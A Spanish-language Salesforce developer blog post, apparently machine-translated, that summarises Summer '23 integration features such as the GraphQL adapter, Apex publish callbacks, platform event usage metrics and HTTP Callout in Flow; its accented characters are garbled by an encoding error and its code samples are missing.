A continuaci贸n, una consulta de GraphQL utilizando la funci贸n de agregado promedio y la funci贸n de agrupaci贸n.

Tambi茅n puede realizar consultas tradicionales dentro de la misma solicitud:

Si desea probarlo, puede usar el cliente Altair GraphQL o nuestra colecci贸n Postman de desarrolladores de Salesforce .

Adaptador GraphQL de Salesforce Connect

En febrero de 2023, anunciamos la versi贸n piloto de nuestro adaptador GraphQL de Salesforce Connect y ahora nos complace anunciar que estar谩 disponible de forma general en esta versi贸n de verano de 2023.

El nuevo adaptador de Salesforce Connect para GraphQL act煤a como un cliente para integrar datos de fuentes externas que exponen sus capacidades a trav茅s de GraphQL. Lo hace de una manera de copia cero al hacer llamadas en vivo a los puntos finales de la API cuando una acci贸n del usuario o del sistema requiere registros espec铆ficos. Solo los datos necesarios para esa acci贸n en particular se consultan a trav茅s de GraphQL y Salesforce Connect no almacena ni almacena en cach茅 los registros devueltos por el servidor. Adem谩s, este adaptador incluye extensiones especiales para AWS AppSync y brinda acceso sin inconvenientes a Amazon RDS.

Para aprovechar este nuevo adaptador, simplemente cree una nueva fuente de datos externa y seleccione el tipo GraphQL .

Apex publica devoluciones de llamada en eventos de la plataforma

Con el lanzamiento de Summer '23, ahora puede realizar un seguimiento de la publicaci贸n de eventos de la plataforma utilizando Apex Publish Callbacks . Con esta nueva versi贸n, puede obtener el resultado final de una llamada EventBus.publish a trav茅s de una devoluci贸n de llamada de publicaci贸n de Apex que implemente. Esto le da la opci贸n de realizar un seguimiento de los errores o los 茅xitos para recibir el resultado final de la publicaci贸n. En funci贸n de ese resultado, puede decidir qu茅 acci贸n tomar, como intentar volver a publicar eventos fallidos, por ejemplo.

Para realizar un seguimiento de un evento fallido publicado, escriba una clase de Apex e implemente la interfaz EventBus.EventPublishFailureCallback . Si la operaci贸n asincr贸nica falla, se invocar谩 el m茅todo onFailure . El par谩metro result contiene los valores del campo EventUuid para cada evento fallido, pero no incluye los datos del evento en s铆.

Para realizar un seguimiento de las publicaciones de eventos exitosas, escriba una clase de Apex e implemente la interfaz EventBus.EventPublishSuccessCallback . Debido a que la mayor铆a de las llamadas de publicaci贸n suelen tener 茅xito, el procesamiento de publicaciones de eventos exitosas probablemente no sea una preocupaci贸n. Observe siempre los l铆mites de rendimiento y del gobernador de Apex cuando procese este tipo de resultado.

Como pr谩ctica recomendada, siempre cree eventos usando sObjectType.newSObject , ya que esto incluye un EventUuid que puede usar para rastrear el evento. Al crear eventos con este enfoque, recomendamos no publicar el mismo evento m谩s de una vez para evitar duplicaciones EventUuid .

M茅tricas mejoradas para eventos de plataforma

Con esta actualizaci贸n, ahora puede obtener m茅tricas de uso de eventos mejoradas para eventos de plataforma consultando el objeto PlatformEventUsageMetric . Esto le permite agregar datos de uso por nombre de evento y determinar qu茅 evento consume m谩s de sus asignaciones. Adem谩s, puede agrupar el uso por cliente para descubrir cu谩ntos clientes se suscribieron a un evento en particular y c贸mo se distribuye el uso de entrega de eventos entre los clientes. Adem谩s, utilice agregaciones granulares de tiempo de per铆odos diarios, por hora y de 15 minutos para segmentar los datos de uso para obtener informaci贸n m谩s detallada.

Cuando consulta PlatformEventUsageMetric , puede usar estos nuevos campos: EventName , Client , EventType y UsageType .

La siguiente consulta de ejemplo devuelve el uso de eventos por hora para eventos entregados entre el 1 y el 2 de abril en horario UTC. Tambi茅n agrega los resultados en intervalos de una hora seg煤n lo especificado por el campo TimeSegment . Dado que los campos EventName y Client se especifican en la consulta, los resultados se agrupar谩n por evento y cliente.

= 2023-04-01T00:00:00.000Z AND EndDate

Un resultado de muestra de la consulta anterior ser铆a similar al siguiente, incluir谩 datos de uso para todos los eventos, Order_Event__e y AccountChangeEvent .

Para obtener m谩s informaci贸n sobre esta funci贸n, consulte la documentaci贸n .

Acci贸n HTTP en flujo: GET es GA, POST es Beta

HTTP Callout ahora est谩 generalmente disponible para solicitudes GET , lo que le permite traer datos externos a Flow Builder sin ning煤n c贸digo. Usted crea una acci贸n de Llamada HTTP desde dentro de Flow, que puede llamar a cualquier API de servicio basado en la web. Despu茅s de agregar los detalles de la API, Flow Builder genera una acci贸n de llamada reutilizable que puede usar para diferentes flujos y en todo Salesforce.

Para ponerlo en uso, desde el elemento Acciones, seleccione Crear llamada HTTP .

Junto con GA, hemos incluido algunos cambios desde la 煤ltima versi贸n que agilizan el proceso de configuraci贸n.

Ahora puede editar una acci贸n de llamada HTTP de forma declarativa. Las API cambian regularmente, por ejemplo, cuando se agrega un nuevo campo obligatorio a un sistema externo. Anteriormente, para editar la acci贸n de llamada HTTP reutilizable, modific贸 la especificaci贸n de API generada autom谩ticamente, lo que requer铆a conocimientos de JSON. Ahora, puede editar la acci贸n con clics en el men煤 de configuraci贸n de Servicios externos.

Tambi茅n se simplific贸 la configuraci贸n de la estructura de datos de la respuesta de la API. Proporciona una respuesta de API de muestra y Flow infiere los tipos de datos y analiza el JSON para que los datos se puedan utilizar en los flujos. Anteriormente, si necesitaba cambiar los tipos de datos inferidos, editaba el propio JSON. Ahora, selecciona los tipos de datos del campo con clics. Ahora tambi茅n se admiten los tipos de datos de fecha, fecha/hora y booleano.

Como bonificaci贸n adicional, obtiene mensajes de error m谩s intuitivos al crear su acci贸n de llamada HTTP para ayudar a resolver el error y evitar problemas en el tiempo de ejecuci贸n.

Y si no puede OBTENER suficiente con HTTP Callout, ahora puede usar el m茅todo POST (Beta) para enviar datos de Salesforce a un servidor externo en Flow Builder. Por ejemplo, una nueva cuenta en Salesforce activa un flujo que crea una factura en un sistema externo. Seleccione POST (Beta) , ingrese un cuerpo de solicitud JSON de muestra que la API espera al configurar la llamada HTTP, y Flow infiere la estructura de datos externos.

Aprende MOAR

Guau, 隆son bastantes nuevas caracter铆sticas de integraci贸n de plataforma para probar! Conf铆o en que facilitar谩n la vida de muchos desarrolladores. 隆Pero hay m谩s por descubrir! Lo invito a explorar nuestras otras publicaciones de blog para conocer las 煤ltimas actualizaciones de LWC, Mobile, MuleSoft y Tableau.

Nuestros gerentes de producto y defensores de desarrolladores est谩n de vuelta para compartir las 煤ltimas caracter铆sticas y funcionalidades que llegar谩n en Summer '23. Para ayudarlo a desarrollarse m谩s r谩pido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas funciones favoritas. 隆Aseg煤rese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo 煤ltimo en el blog de desarrolladores de Salesforce para conocer m谩s innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

隆Explore los trailmixes de Trailhead con aspectos destacados de lanzamiento clave para desarrolladores o administradores, o ambos! Siga y complete un trailmix de Learn MOAR Summer '23 para administradores o desarrolladores para obtener una insignia exclusiva de la comunidad.

Otras lecturas

Sobre el Autor

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo en Twitter @julian_duque , @julianduque.co en Bluesky o LinkedIn .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading